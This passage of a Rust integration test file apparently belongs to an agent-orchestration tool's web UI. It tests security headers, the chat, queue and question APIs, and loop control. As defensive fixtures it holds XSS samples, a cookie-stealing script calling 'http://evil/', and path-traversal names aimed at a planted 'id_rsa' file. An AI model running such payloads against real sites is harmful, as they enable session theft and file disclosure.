3242 Load the layers once when the run starts and hand the merged value \
3243 around. Nothing about the file format changes.\n\n\
3244 ## Acceptance criteria\n\n\
3245 - `Config::discover` is called exactly once per run.\n\
3246 - `cargo test` passes with no change to any existing assertion.\n"
3247 .to_owned()
3248 }
3249
3250 #[tokio::test]
3251 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3252 let fx = Fixture::start().await;
3253 let id = panel(
3254 &fx,
3255 "<h1>Merge?</h1><img src=\"diff.svg\">",
3256 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3257 );
3258
3259 for path in [
3260 format!("/api/questions/{id}/panel"),
3261 format!("/api/questions/{id}/asset/diff.svg"),
3262 ] {
3263 let res = fx.get(&path).await;
3264 assert_eq!(res.status, 200, "{path}: {}", res.body);
3265 assert_eq!(
3271 res.header("content-security-policy"),
3272 Some(
3273 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3274 font-src data:; base-uri 'none'; form-action 'none'; \
3275 frame-ancestors 'self'"
3276 ),
3277 "{path} is the only thing between a hostile panel and the tailnet"
3278 );
3279 assert_eq!(
3280 res.header("x-content-type-options"),
3281 Some("nosniff"),
3282 "{path}: a browser must not re-decide the type we sent"
3283 );
3284 assert_eq!(
3285 res.header("referrer-policy"),
3286 Some("no-referrer"),
3287 "{path}: a panel must not leak the question id off the machine"
3288 );
3289
3290 let pre = fx.head(&path).await;
3295 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3296 assert_eq!(
3297 pre.header("content-security-policy"),
3298 res.header("content-security-policy"),
3299 "{path}: the preflight carries the same policy"
3300 );
3301 assert_eq!(
3302 pre.header("content-type"),
3303 res.header("content-type"),
3304 "{path}: the preflight carries the same type"
3305 );
3306 }
3307 }
3308
3309 #[tokio::test]
3310 async fn a_panel_reaches_the_browser_byte_for_byte() {
3311 let fx = Fixture::start().await;
3312 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3317 let id = panel(&fx, html, &[]);
3318
3319 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3320
3321 assert_eq!(res.status, 200);
3322 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3323 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3324 assert_eq!(
3325 res.header("content-disposition"),
3326 None,
3327 "the panel itself is rendered in the frame, not downloaded"
3328 );
3329 }
3330
3331 #[tokio::test]
3332 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3333 let fx = Fixture::start().await;
3334 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3335 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3336 let id = panel(
3337 &fx,
3338 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3339 &[("diff.svg", svg), ("shot.png", png)],
3340 );
3341
3342 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3343 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3344
3345 assert_eq!(as_svg.status, 200);
3346 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3347 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3352
3353 assert_eq!(as_png.status, 200);
3354 assert_eq!(as_png.header("content-type"), Some("image/png"));
3355 assert_eq!(
3356 as_png.header("content-disposition"),
3357 None,
3358 "a raster image has no execution surface, so tapping it still shows it"
3359 );
3360 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3361 }
3362
3363 #[tokio::test]
3364 async fn an_html_asset_is_never_served_as_html() {
3365 let fx = Fixture::start().await;
3366 let id = panel(
3367 &fx,
3368 "<p>see the notes</p>",
3369 &[
3370 (
3371 "notes.html",
3372 b"<script>fetch('http://evil/'+document.cookie)</script>",
3373 ),
3374 ("hook.js", b"fetch('http://evil/')"),
3375 ("data.json", b"{}"),
3376 ("HEADLINE.TXT", b"plain"),
3377 ],
3378 );
3379
3380 for name in ["notes.html", "hook.js", "data.json"] {
3381 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3382 assert_eq!(res.status, 200, "{name}: {}", res.body);
3383 assert_eq!(
3388 res.header("content-type"),
3389 Some("application/octet-stream"),
3390 "{name} must not be a type the browser will execute or render"
3391 );
3392 }
3393 let txt = fx
3396 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3397 .await;
3398 assert_eq!(
3399 txt.header("content-type"),
3400 Some("text/plain; charset=utf-8")
3401 );
3402 }
3403
3404 #[tokio::test]
3405 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3406 let fx = Fixture::start().await;
3407 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3408 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3412
3413 for encoded in [
3420 "%2e%2e%2fid_rsa",
3421 "..%2fid_rsa",
3422 "..%5cid_rsa",
3423 "%2e%2e%5cid_rsa",
3424 "diff%00.svg",
3425 "..",
3426 ".hidden",
3427 "%2e%2e%2f%2e%2e%2fid_rsa",
3428 ] {
3429 let res = fx
3430 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3431 .await;
3432 assert_eq!(
3433 res.status, 400,
3434 "`{encoded}` has to be refused by name, not looked up: {}",
3435 res.body
3436 );
3437 assert!(res.json()["error"].is_string(), "{}", res.body);
3438 }
3439
3440 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3446 let res = fx
3447 .get(&format!("/api/questions/{id}/asset/{literal}"))
3448 .await;
3449 assert_eq!(
3450 res.status, 404,
3451 "`{literal}` must not match the asset route at all: {}",
3452 res.body
3453 );
3454 }
3455 }
3456
3457 #[tokio::test]
3458 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3459 let fx = Fixture::start().await;
3460 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3461 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3462
3463 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3467 assert_eq!(none.status, 404, "{}", none.body);
3468 assert!(none.json()["error"].is_string(), "{}", none.body);
3469 assert_eq!(
3470 fx.head(&format!("/api/questions/{plain}/panel"))
3471 .await
3472 .status,
3473 404,
3474 "the preflight is the only way the client can learn this"
3475 );
3476
3477 let missing = fx
3479 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3480 .await;
3481 assert_eq!(missing.status, 404, "{}", missing.body);
3482 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3483
3484 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3486 assert_eq!(
3487 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3488 404
3489 );
3490 }
3491
3492 #[tokio::test]
3493 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3494 let fx = Fixture::start().await;
3495 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3496
3497 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3498 interview(&fx, "20260903-014456-open", "open", None);
3499
3500 let listed = fx.get("/api/chats").await;
3501 assert_eq!(listed.status, 200, "{}", listed.body);
3502 let chats = listed.json();
3503 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3504 assert_eq!(
3505 chats[0]["id"], "20260903-014456-open",
3506 "an unfinished interview is what the operator came back for: {chats}"
3507 );
3508 assert_eq!(chats[0]["status"], "open");
3509 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3512 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3513 assert_eq!(chats[1]["status"], "filed");
3514
3515 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3518 }
3519
3520 #[tokio::test]
3521 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3522 let fx = Fixture::start().await;
3523 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3524
3525 let full = fx.get(&format!("/api/chats/{id}")).await;
3526 assert_eq!(full.status, 200, "{}", full.body);
3527 assert_eq!(full.json()["id"], id);
3528 assert_eq!(full.json()["repo"], "/repo/magi");
3529
3530 let short = fx.get("/api/chats/ab12").await;
3532 assert_eq!(short.status, 200, "{}", short.body);
3533 assert_eq!(short.json()["id"], id);
3534
3535 let missing = fx.get("/api/chats/nosuchchat").await;
3536 assert_eq!(missing.status, 404, "{}", missing.body);
3537 assert!(
3538 missing.json()["error"]
3539 .as_str()
3540 .is_some_and(|e| e.contains("chat")),
3541 "the error names what was not found: {}",
3542 missing.body
3543 );
3544 }
3545
3546 #[tokio::test]
3547 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3548 let fx = Fixture::start().await;
3549 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3550
3551 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3552
3553 assert_eq!(res.status, 400, "{}", res.body);
3554 let problems = res.json()["problems"].clone();
3555 let problems = problems.as_array().expect("an array of problems");
3556 assert!(
3561 problems.len() > 1,
3562 "one round trip has to be enough to fix the draft: {}",
3563 res.body
3564 );
3565 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3566 assert!(res.json()["error"].is_string(), "{}", res.body);
3567 assert!(
3568 fx.queue().list().is_empty(),
3569 "a refused draft must not reach the queue"
3570 );
3571
3572 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3575 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3576 assert_eq!(res.status, 400, "{}", res.body);
3577 assert_eq!(
3578 res.json()["problems"].as_array().map(Vec::len),
3579 Some(1),
3580 "{}",
3581 res.body
3582 );
3583 }
3584
3585 #[tokio::test]
3586 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3587 let fx = Fixture::start().await;
3588 let draft = good_draft();
3589 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3590
3591 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3592
3593 assert_eq!(res.status, 200, "{}", res.body);
3594 let task = res.json()["task"]
3595 .as_str()
3596 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3597 .to_owned();
3598
3599 let queued = fx.queue().get(&task).expect("the task is on disk");
3602 assert_eq!(
3603 queued.instruction, draft,
3604 "the draft reaches the graph verbatim"
3605 );
3606 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3607 assert_eq!(
3608 fx.get("/api/queue").await.json()[0]["id"],
3609 task,
3610 "the filed task is the listed one"
3611 );
3612
3613 let after = fx.get(&format!("/api/chats/{id}")).await.json();
3615 assert_eq!(after["task"], task);
3616 assert_eq!(after["status"], "filed");
3617 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3618 }
3619
3620 #[tokio::test]
3621 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3622 let fx = Fixture::start().await;
3623 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3624 let ui = Ui::new(
3625 fx.queue(),
3626 fx.questions(),
3627 fx.chats(),
3628 fx.runs(),
3629 fx.home.path().to_path_buf(),
3630 PathBuf::from("/repo/magi"),
3631 );
3632
3633 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3637 let second = ui.begin_turn(&id).expect_err("the second must be refused");
3638 assert_eq!(
3639 second.status,
3640 StatusCode::CONFLICT,
3641 "a double tap on a slow link must not append two half-turns"
3642 );
3643
3644 drop(first);
3648 assert!(
3649 ui.begin_turn(&id).is_ok(),
3650 "the slot has to come back on its own"
3651 );
3652 }
3653
3654 #[tokio::test]
3655 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3656 let fx = Fixture::start().await;
3657 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3658
3659 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
3662 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3663 assert_eq!(res.status, 400, "{body}: {}", res.body);
3664 }
3665 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
3666 assert_eq!(res.status, 400, "{}", res.body);
3667
3668 assert_eq!(
3669 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3670 .as_array()
3671 .map(Vec::len),
3672 Some(2),
3673 "nothing above may have appended a turn"
3674 );
3675 }
3676
3677 #[tokio::test]
3678 async fn a_run_with_an_open_question_reads_as_waiting() {
3679 let fx = Fixture::start().await;
3680 let run = "20260902-000000-beef".to_owned();
3681 write_run(&fx.runs(), &run, RunStatus::Implementing);
3682
3683 let before = fx.get("/api/runs").await.json();
3684 assert_eq!(before[0]["waiting"], false, "{before}");
3685
3686 let store = fx.questions();
3687 let mut q = Question::new(
3688 run.clone(),
3689 "implement".to_owned(),
3690 "impl-A".to_owned(),
3691 "Which backend?".to_owned(),
3692 String::new(),
3693 vec!["SQLite".to_owned()],
3694 );
3695 store.put(&mut q).expect("put");
3696
3697 let during = fx.get("/api/runs").await.json();
3698 assert_eq!(during[0]["waiting"], true, "{during}");
3699
3700 q.answer(Answer::Choice("SQLite".to_owned()))
3703 .expect("answer");
3704 store.put(&mut q).expect("put");
3705 let after = fx.get("/api/runs").await.json();
3706 assert_eq!(after[0]["waiting"], false, "{after}");
3707 }
3708
3709 #[tokio::test]
3710 async fn an_open_question_is_listed_and_counted_by_health() {
3711 let fx = Fixture::start().await;
3712 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3713
3714 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3715 let listed = fx.get("/api/questions").await.json();
3716 assert_eq!(listed.as_array().expect("array").len(), 1);
3717 assert_eq!(listed[0]["id"], id);
3718 assert_eq!(listed[0]["status"], "open");
3719 assert_eq!(listed[0]["choices"][1], "Redis");
3720 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3723 }
3724
3725 #[tokio::test]
3726 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3727 let fx = Fixture::start().await;
3728 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3729 let path = format!("/api/questions/{id}/answer");
3730
3731 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3732 assert_eq!(res.status, 200, "{}", res.body);
3733 let body = res.json();
3734 assert_eq!(body["status"], "answered");
3735 assert_eq!(body["answer"]["choice"], "Redis");
3736
3737 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3741 assert_eq!(again.status, 409, "{}", again.body);
3742 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3743 }
3744
3745 #[tokio::test]
3746 async fn an_answer_the_question_does_not_offer_is_refused() {
3747 let fx = Fixture::start().await;
3748 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3749 let path = format!("/api/questions/{id}/answer");
3750
3751 for body in [
3752 r#"{"choice":"Postgres"}"#,
3753 r#"{"text":"whatever you think"}"#,
3754 r#"{"choice":"Redis","text":"both"}"#,
3755 r#"{}"#,
3756 ] {
3757 let res = fx.post(&path, Some(body)).await;
3758 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3759 assert!(res.json()["error"].is_string(), "{}", res.body);
3760 }
3761 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3763 }
3764
3765 #[tokio::test]
3766 async fn a_free_text_question_takes_text_and_not_a_choice() {
3767 let fx = Fixture::start().await;
3768 let id = ask(&fx, "What should the flag be called?", &[]);
3769 let path = format!("/api/questions/{id}/answer");
3770
3771 assert_eq!(
3772 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3773 400
3774 );
3775 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3776 assert_eq!(res.status, 200, "{}", res.body);
3777 assert_eq!(res.json()["answer"]["text"], "--json");
3778 }
3779
3780 #[tokio::test]
3781 async fn an_unknown_question_is_a_json_404() {
3782 let fx = Fixture::start().await;
3783 let res = fx
3784 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3785 .await;
3786 assert_eq!(res.status, 404, "{}", res.body);
3787 assert!(res.json()["error"].is_string());
3788 }
3789
3790 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3792 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3793 .expect("checkout dir");
3794 }
3795
3796 #[tokio::test]
3797 async fn repos_list_returns_name_and_path_for_every_configured_root() {
3798 let tmp = TempDir::new().expect("tempdir");
3799 let repo = tmp.path().join("repo");
3800 std::fs::create_dir_all(&repo).expect("repo dir");
3801 let root = tmp.path().join("root");
3802 make_checkout(&root, "github.com", "yukimemi", "magi");
3803 std::fs::write(
3804 repo.join("magi.toml"),
3805 format!(
3806 "[repos]\nroots = [{:?}]\n",
3807 root.to_string_lossy().into_owned()
3808 ),
3809 )
3810 .expect("write magi.toml");
3811
3812 let f = Fixture::with_repo(repo).await;
3813 let res = f.get("/api/repos").await;
3814 assert_eq!(res.status, 200, "{}", res.body);
3815 let list = res.json();
3816 let repos = list.as_array().expect("an array");
3817 assert_eq!(repos.len(), 1);
3818 assert_eq!(repos[0]["name"], "yukimemi/magi");
3819 assert!(
3820 repos[0]["path"]
3821 .as_str()
3822 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3823 "{list}"
3824 );
3825 }
3826
3827 #[tokio::test]
3828 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3829 let tmp = TempDir::new().expect("tempdir");
3830 let repo = tmp.path().join("repo");
3831 std::fs::create_dir_all(&repo).expect("repo dir");
3832 let root = tmp.path().join("root");
3833 make_checkout(&root, "github.com", "yukimemi", "magi");
3834 std::fs::write(
3835 repo.join("magi.toml"),
3836 format!(
3837 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3838 root.to_string_lossy().into_owned()
3839 ),
3840 )
3841 .expect("write magi.toml");
3842
3843 let f = Fixture::with_repo(repo).await;
3844 let first = f.get("/api/repos").await;
3845 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3846
3847 make_checkout(&root, "github.com", "yukimemi", "rvpm");
3850 let second = f.get("/api/repos").await;
3851 assert_eq!(
3852 second.json().as_array().map(Vec::len),
3853 Some(1),
3854 "a fresh cache must not rescan inside the TTL"
3855 );
3856
3857 let refreshed = f.get("/api/repos?refresh=1").await;
3858 assert_eq!(
3859 refreshed.json().as_array().map(Vec::len),
3860 Some(2),
3861 "an explicit refresh must rescan even inside the TTL"
3862 );
3863 }
3864
3865 #[tokio::test]
3866 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3867 let f = Fixture::start().await;
3868 let res = f
3869 .post(
3870 "/api/chats",
3871 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3872 )
3873 .await;
3874 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3875 assert!(
3876 res.json()["error"]
3877 .as_str()
3878 .is_some_and(|e| e.contains("nosuchchat")),
3879 "the error names the id that does not exist: {}",
3880 res.body
3881 );
3882 assert!(
3883 f.chats().list().is_empty(),
3884 "a chat must not be created against an unresolvable `from`"
3885 );
3886 }
3887
3888 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3905
3906 #[tokio::test]
3907 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3908 let tmp = TempDir::new().expect("tempdir");
3909 let repo = tmp.path().join("repo");
3910 let other = tmp.path().join("other");
3911 std::fs::create_dir_all(&repo).expect("repo dir");
3912 std::fs::create_dir_all(&other).expect("other repo dir");
3913 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3917 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3918
3919 let f = Fixture::with_repo(repo.clone()).await;
3920
3921 let default_res = f
3922 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3923 .await;
3924 assert_eq!(default_res.status, 201, "{}", default_res.body);
3925 assert_eq!(
3926 default_res.json()["repo"],
3927 repo.canonicalize().unwrap().display().to_string(),
3928 "omitting `repo` must keep the server's own"
3929 );
3930
3931 let body = format!(
3932 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3933 other.to_string_lossy()
3934 );
3935 let explicit_res = f.post("/api/chats", Some(&body)).await;
3936 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3937 assert_eq!(
3938 explicit_res.json()["repo"],
3939 other.canonicalize().unwrap().display().to_string(),
3940 "an explicit `repo` must override the server's own"
3941 );
3942 }
3943
3944 #[tokio::test]
3945 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3946 let f = Fixture::start().await;
3947 let queue = f.queue();
3948 let mut task = Task::new(
3949 "spent".to_owned(),
3950 "Try again".to_owned(),
3951 PathBuf::from("/repo/magi"),
3952 Source::Human,
3953 );
3954 task.start("20260902-140502-bbbb".to_owned());
3955 task.fail("agent gave up", 9);
3956 queue.put(&mut task).expect("file the task");
3957
3958 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3959 assert_eq!(held.status, 200);
3960 assert_eq!(held.json()["status_str"], "held");
3961
3962 let released = f
3963 .post(&format!("/api/queue/{}/release", task.id), None)
3964 .await;
3965 assert_eq!(released.status, 200);
3966 assert_eq!(released.json()["status_str"], "queued");
3967 assert_eq!(
3968 released.json()["attempts"],
3969 0,
3970 "release is a real second chance, not an instant re-hold"
3971 );
3972 assert_eq!(
3973 queue.get(&task.id).expect("reload").status,
3974 TaskStatus::Queued,
3975 "the change is on disk, not only in the reply"
3976 );
3977 assert!(
3978 !f.home
3979 .path()
3980 .join("queue")
3981 .join(format!("{}.lock", task.id))
3982 .exists(),
3983 "the claim the mutation took is released again"
3984 );
3985 }
3986
3987 #[tokio::test]
3988 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
3989 let f = Fixture::start().await;
3990 let queue = f.queue();
3991 let mut task = Task::new(
3992 "busy".to_owned(),
3993 "Running right now".to_owned(),
3994 PathBuf::from("/repo/magi"),
3995 Source::Human,
3996 );
3997 queue.put(&mut task).expect("file the task");
3998 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
3999
4000 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4001
4002 assert_eq!(res.status, 409);
4003 assert_eq!(
4004 queue.get(&task.id).expect("reload").status,
4005 TaskStatus::Queued,
4006 "the refused hold changed nothing"
4007 );
4008 }
4009
4010 #[tokio::test]
4011 async fn unknown_ids_are_json_not_found_on_both_stores() {
4012 let f = Fixture::start().await;
4013
4014 let run = f.get("/api/runs/nosuchrun").await;
4015 let task = f.post("/api/queue/nosuchtask/hold", None).await;
4016
4017 assert_eq!(run.status, 404);
4018 assert_eq!(task.status, 404);
4019 assert!(
4020 run.json()["error"]
4021 .as_str()
4022 .is_some_and(|e| e.contains("run")),
4023 "the error names what was not found: {}",
4024 run.body
4025 );
4026 assert!(
4027 task.json()["error"]
4028 .as_str()
4029 .is_some_and(|e| e.contains("task")),
4030 "the error names what was not found: {}",
4031 task.body
4032 );
4033 }
4034
4035 #[tokio::test]
4036 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4037 let f = Fixture::start().await;
4038
4039 let missing = f.get("/api/health").await.json();
4040 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4041
4042 write_daemon(
4043 f.home.path(),
4044 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4045 );
4046 let stale = f.get("/api/health").await.json();
4047 assert_eq!(
4048 stale["daemon"]["running"], false,
4049 "a minute without a heartbeat is a dead daemon, not a busy one"
4050 );
4051 assert!(
4052 stale["daemon"]["stale_for_secs"]
4053 .as_i64()
4054 .is_some_and(|s| s >= 55),
4055 "staleness is reported so the UI can say how long: {stale}"
4056 );
4057
4058 write_daemon(f.home.path(), Timestamp::now());
4059 let fresh = f.get("/api/health").await.json();
4060 assert_eq!(fresh["daemon"]["running"], true);
4061 assert_eq!(fresh["daemon"]["idle"], false);
4062 assert_eq!(fresh["daemon"]["pid"], 4242);
4063 assert_eq!(fresh["daemon"]["completed"], 7);
4064 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4065 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4066 }
4067
4068 #[tokio::test]
4069 async fn the_loop_is_not_running_until_something_starts_it() {
4070 let f = Fixture::start().await;
4071
4072 let view = f.get("/api/loop").await.json();
4073 assert_eq!(view["running"], false);
4074 assert_eq!(
4075 view["owned"], false,
4076 "nobody owns a loop that does not exist: {view}"
4077 );
4078 assert_eq!(view["stopping"], false);
4079 assert_eq!(view["last_error"], Value::Null);
4080 assert_eq!(view["daemon"]["running"], false);
4081 assert_eq!(
4082 view["repo"], "/repo/magi",
4083 "the repository a start would use, named before it is started"
4084 );
4085 }
4086
4087 #[tokio::test]
4088 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4089 let f = Fixture::start().await;
4090
4091 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4092 assert_eq!(res.status, 200, "{}", res.body);
4093 let view = res.json();
4094 assert_eq!(view["running"], true);
4095 assert_eq!(
4096 view["owned"], true,
4097 "the loop the UI started is the UI's own to stop: {view}"
4098 );
4099 assert_eq!(
4100 view["merge"],
4101 Value::Null,
4102 "no override was given, so each repository's own config decides"
4103 );
4104
4105 let health = f.get("/api/health").await.json();
4109 assert_eq!(health["loop"]["running"], true, "{health}");
4110 assert_eq!(health["loop"]["owned"], true, "{health}");
4111
4112 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4113 }
4114
4115 #[tokio::test]
4116 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4117 let f = Fixture::start().await;
4118 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4119 assert_eq!(first.status, 200, "{}", first.body);
4120
4121 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4122 assert_eq!(
4123 again.status, 409,
4124 "two loops on one queue race for the same claims: {}",
4125 again.body
4126 );
4127 assert!(
4128 again.json()["error"]
4129 .as_str()
4130 .is_some_and(|e| e.contains("already running the loop")),
4131 "the refusal has to say why: {}",
4132 again.body
4133 );
4134 assert_eq!(
4135 f.get("/api/loop").await.json()["running"],
4136 true,
4137 "and the loop that was already running is untouched by it"
4138 );
4139
4140 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4141 }
4142
4143 #[tokio::test]
4144 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4145 let f = Fixture::start().await;
4146 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4147
4148 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4149 assert_eq!(
4150 res.status, 200,
4151 "the answer must not wait for the loop: a run in flight is tens of \
4152 minutes and the operator is holding a phone: {}",
4153 res.body
4154 );
4155
4156 let view = settled(&f, |v| v["running"] == false).await;
4157 assert_eq!(view["owned"], false);
4158 assert_eq!(
4159 view["stopping"], false,
4160 "a loop that has stopped is not still stopping: {view}"
4161 );
4162 assert_eq!(
4163 view["last_error"],
4164 Value::Null,
4165 "a loop that was asked to stop did not fail: {view}"
4166 );
4167
4168 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4171 assert_eq!(twice.status, 200, "{}", twice.body);
4172 }
4173
4174 #[tokio::test]
4175 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4176 let f = Fixture::start().await;
4177 write_daemon(f.home.path(), Timestamp::now());
4180
4181 let view = f.get("/api/loop").await.json();
4182 assert_eq!(view["running"], false, "not in this process: {view}");
4183 assert_eq!(view["owned"], false, "and not this process's to control");
4184 assert_eq!(
4185 view["daemon"]["running"], true,
4186 "but a loop is alive somewhere, which is what the UI must say"
4187 );
4188 assert_eq!(view["daemon"]["pid"], 4242);
4189
4190 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4191 let res = f.post("/api/loop", Some(body)).await;
4192 assert_eq!(
4193 res.status, 409,
4194 "neither button may pretend to work on someone else's loop: {}",
4195 res.body
4196 );
4197 assert!(
4198 res.json()["error"]
4199 .as_str()
4200 .is_some_and(|e| e.contains("4242")),
4201 "the refusal has to name the process the operator must go to: {}",
4202 res.body
4203 );
4204 }
4205 assert_eq!(
4206 f.get("/api/loop").await.json()["running"],
4207 false,
4208 "and the refusal started nothing"
4209 );
4210 }
4211
4212 #[tokio::test]
4213 async fn a_stale_status_file_is_not_a_foreign_owner() {
4214 let f = Fixture::start().await;
4215 write_daemon(
4216 f.home.path(),
4217 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4218 );
4219
4220 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4221 assert_eq!(
4222 res.status, 200,
4223 "a daemon killed a minute ago must not lock the loop out of its \
4224 own home for good: {}",
4225 res.body
4226 );
4227 assert_eq!(res.json()["running"], true);
4228
4229 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4230 }
4231
4232 #[tokio::test]
4233 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4234 let f = Fixture::start().await;
4235 let before = f.get("/api/health").await.json()["loop_rev"]
4236 .as_u64()
4237 .expect("a loop revision");
4238
4239 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4240
4241 let after = f.get("/api/health").await.json()["loop_rev"]
4242 .as_u64()
4243 .expect("a loop revision");
4244 assert!(
4245 after > before,
4246 "the loop is in-process state, so this counter is the only thing \
4247 that tells a second device the first one started it: {before} -> \
4248 {after}"
4249 );
4250
4251 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4252 }
4253
4254 #[tokio::test]
